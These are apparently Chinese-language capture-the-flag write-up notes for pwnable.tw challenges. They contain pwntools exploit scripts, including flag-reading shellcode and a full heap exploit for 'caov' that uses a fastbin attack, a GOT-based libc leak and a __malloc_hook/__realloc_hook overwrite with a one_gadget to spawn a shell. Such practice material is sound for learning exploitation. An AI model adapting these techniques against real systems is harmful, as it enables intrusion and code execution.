orw:发现写shellcode的新大陆
from pwn import *
p = remote('chall.pwnable.tw',10001)
#p = process('./orw')
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
if args.G:
gdb.attach(p)
shellcode = ""
shellcode += shellcraft.i386.pushstr("/home/orw/flag")
shellcode += shellcraft.i386.linux.syscall("SYS_open", 'esp',0)
shellcode += shellcraft.i386.linux.syscall("SYS_read", 'eax', 'esp', 0x30)
shellcode += shellcraft.i386.linux.syscall("SYS_write", 1, 'esp', 0x30)
payload = asm(shellcode)
p.recvuntil('Give my your shellcode:')
p.send(payload)
p.interactive()
cal:scanf()的bug
使用scanf("")读取数字时,当输入为 ‘+’ 或者 ‘-’,读取数据,不会改变栈空间中的数据,但是会跳过,不再将 '-' , '+' 放入缓存区,而输入其他非法字符(如)时,由于不能识别读取,最一直储存在缓存区,导致始终无法向后读取,导致无效读入
hacknote:all_in_one 获得各种版本的libc,patchelf 强制修改elf文件的libc与ld,gdb加载符号表
使用all_in_one 下载libc后,会自动下载.debug 文件,并放在相应的文件夹下,
patchelf 首先修改文件的ld.so,patchelf --set-interpreter ....../(目标ld.**.so)filename
然后修改 libc加载,lld 查看文件原来的加载libc.so的搜索路径 ,
patchelf --replace-needed (原路径) (目标路径/libc.**.so)filename
malloc申请到内存后,返回的不是chunk的首地址,前8字节用于储存chunk信息,chunk+8开始是用户数据,free后加入fastbins,连续申请的两块内存不会合并
applestore:
如何获取栈地址:libc中保留的全局变量environ ,获得libc基址后,利用LibcSearcher工具,environ = libc_base +libc.dump('__environ'),environ保留了一个栈中的地址,gdb调试可以看到其与我们可以利用地址的偏移量。
修改GOT表项,将atoi改为system,read读取时,输入system的地址(这是才完成修改),因为函数用栈传参,将system的参数binsh也写在system的后面,
caov:
c++ ,x64程序,glibc2.23
源码C++就是个坑,
Data operator=(const Data &rhs)
{
key = new char[strlen(rhs.key)+1];
strcpy(key, rhs.key);
value = rhs.value;
change_count = rhs.change_count;
year = rhs.year;
month = rhs.month;
day = rhs.day;
hour = rhs.hour;
min = rhs.min;
sec = rhs.sec;
}
//正确的写法是
Data operator = (const Data &rhs)
{
Data ret; //use ret to copy rhs
··· ···
return ret;
}
问题在于源码中类的构造函数定义 :重载 = 时没有返回引用,存在一个临时对象,通过IDA分析出这个类指针没有初始化,而且存在于栈中,delete_data((__int64)v4)所在函数调用前,调用一个读入字符串的函数,而且是将数据读入到栈中,在转存到bss中。那么通过查看栈结构发现,只要在读入字符串时,数据超过0x60字节,就可以覆盖到v4,实现任意地址的free。
于是乎,就可以利用fastbins attack,实现任意地址写,首先控制DATA,通过伪造一个chunk,替换掉DATA所保存的chunk指针,可以实现任意地址读,泄露出libc的基地址。这里实际操作的时候有几个注意点:1,伪造一个吨的同时,要伪造他的下一个fake chunk 的size,绕过free的检查,2,将任意地址写入fastbins的时候,如果该地址所对应的“chunk”的size不合法就无法申请并完成写入数据。就比如DATA,这里改写DATA,利用了DATA前面的内容,
利用stderr伪造一个chunk,大小为0x7f
这样我们将DATA控制为NAME所在的位置,控制好name,就可以实现key的输出
接下来同样的手法修改malloc_hook:
劫持malloc_hook:
malloc:
if ( _malloc_hook )
return _malloc_hook(a1, retaddr);
执行malloc时,如果_malloc_hook不为空就执行其目标函数,
同样的也有realloc
if ( _realloc_hook )
return _realloc_hook(a1, a2, retaddr);
一般来说,通过错位覆盖改写__malloc_hook为后门函数的地址或者one_gadget就可以,但是one_gadget的使用需要满足一些条件,而往往这些条件难以满足,尤其是寄存器的值,这个时候往往要选择栈的一些条件,但是通常不可行。
此时就需要realloc调栈大法。
.text:0000000000083B10 realloc proc near ; CODE XREF: _realloc↑j
.text:0000000000083B10 ; DATA XREF: LOAD:0000000000006BA0↑o ...
.text:0000000000083B10
.text:0000000000083B10 var_60 = qword ptr -60h
.text:0000000000083B10 var_58 = byte ptr -58h
.text:0000000000083B10 var_48 = byte ptr -48h
.text:0000000000083B10
.text:0000000000083B10 ; __unwind {
.text:0000000000083B10 push r15 ; Alternative name is '__libc_realloc'
.text:0000000000083B12 push r14
.text:0000000000083B14 push r13
.text:0000000000083B16 push r12
.text:0000000000083B18 mov r13, rsi
.text:0000000000083B1B push rbp
.text:0000000000083B1C push rbx
.text:0000000000083B1D mov rbx, rdi
.text:0000000000083B20 sub rsp, 38h
.text:0000000000083B24 ; 25: if ( _realloc_hook )
.text:0000000000083B24 mov rax, cs:__realloc_hook_ptr
.text:0000000000083B2B mov rax, [rax]
.text:0000000000083B2E test rax, rax
.text:0000000000083B31 jnz loc_83D38
进行了6次入栈操作,可以对站的结构进行调整,然后覆盖__realloc_hook为后门函数或者one_gadget地址(执行流程malloc--->__malloc_hook(realloc +X )--->__realloc_hook(shell))X是控制入栈顺序而选择的偏移量,详见反汇编代码。为了确保可以满足one_gadget的条件,通过gdb调试查看栈的情况,其实可以先将one_gadget设置为0xcafebabedeadbeef,这是gdb必挂的一个地址,此时就可以查看站的情况,对realloc的地址进行调整。
from pwn import *
#context.log_level = 'debug'
i =0
if i==0:
r=process('./caov')
elf = ELF('./caov')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x4527a
malloc_hook = 0x3c4b10
realloc_hook =0x7f2e9ff42b10-0x7f2e9fb7e000
else :
r=remote("chall.pwnable.tw", 10306)
elf = ELF('./caov')
libc = ELF('./libc_64.so.6')
malloc_hook = 0x3c3b10
realloc_hook = 0x3c3b08
one_gadget = 0x45260
DATA = 0x6032A0
NAME = 0x6032C0
read_got = elf.got['read']
printf_got = elf.got['printf']
print("printf_got = ",hex(printf_got))
print("sysmbols = ",hex(libc.symbols['printf']))
def setname(name):
r.recv()
r.sendline(name)
def init(name,key,value):
setname(name)
r.sendlineafter("key: ",key)
r.recv()
r.sendline(str(value))
def show():
r.sendline('1')
def edit(name,length,key):
r.recv()
r.sendline('2')
setname(name)
r.sendlineafter("length: ",str(length))
r.sendline(key)
r.recv()
r.sendline("9")
fake1 = p64(0) + p64(0x71)+p64(0)+p64(0) +p64(0x71)
fake1+= p64(0)*8 + p64(0)*2+p64(0x21) + p64(0)*2 +'\x21\x00'
init(fake1,'a'*0x20,9)
#gdb.attach(r,'b *0x00040159F')
fake2 = p64(0) + p64(0x71)+p64(DATA-0x23+8) +p64(0)+p64(0x71)
fake2+= p64(0)*7+p64(NAME+0x10)
edit(fake2,9,'a'*6)
fake3 = p64(0) + p64(0x71)+p64(DATA-0x23+8) +p64(0)+p64(0x71)
fake3+= p64(0)*7+p64(0)
edit(fake3,0x60,'a'*0x10)
fake4 = p64(0)*3 +p64(0x41)+p64(printf_got) +p64(9)
fake4 +=p64(3) +p64(0x2000007e6)+p64(0x0000001400000014)+p64(0x000000280000002f)
key = p64(0)+p64((NAME+0x20)*0x1000000)
edit(fake4,0x60,key)
show()
r.recvuntil("data :\nKey: ")
printf_addr=u64(r.recv(6).ljust(8,'\x00'))
print("addr :",hex(printf_addr))
print("addr in libc :",hex(libc.symbols["printf"]))
lib_base = printf_addr - libc.symbols["printf"]
malloc_hook +=lib_base
realloc_hook += lib_base
realloc = lib_base + libc.symbols["realloc"]
onegadget = one_gadget + lib_base
#onegadget = 0xcafebabedeadbeef
print("malloc_hook :",hex(malloc_hook)," -----(-0x23)---->",hex(malloc_hook-0x23))
print("one_gadget :",hex(onegadget))
#gdb.attach(r,'b realloc')
fake5 =p64(0) +p64(0x71)+p64(malloc_hook-0x23)+p64(0x41)+p64(NAME+0x10) +p64(9)
fake5 +=p64(3) +p64(0x2000007e6)+p64(0x0000001400000014)+p64(0x000000280000002f)
fake5 +=p64(0)*2+p64(NAME+0x10)
key = p64(malloc_hook-0x23) +p64(0x41)
print("delete the fake")
edit(fake5,0x20,key)
fake6 = p64(0) +p64(0x71)+p64(malloc_hook-0x23)+p64(0x41)+p64(NAME+0x10) +p64(9)
fake6+= p64(3) +p64(0x2000007e6)+p64(0x0000001400000014)+p64(0x000000280000002f)
fake6+=p64(0)*3
print("get the fake ,provide the aim")
edit(fake6,0x60,'\x00')
#gdb.attach(r,'b malloc')
pad1 = lib_base+3945056
pad2 = lib_base+548512
pad3 = lib_base+547440
offset = 0x7f0000000000
key = p64(0)+'\x00'*3
key +=p64(onegadget)+p64(realloc)
#key +=p64(0)+p64(onegadget)
print("edit the aim")
edit('\x00',0x20,"cccc")
#gdb.attach(r,'b realloc')
edit(fake6,0x60,key)
#gdb.attach(r)
#r.recv()
r.interactive()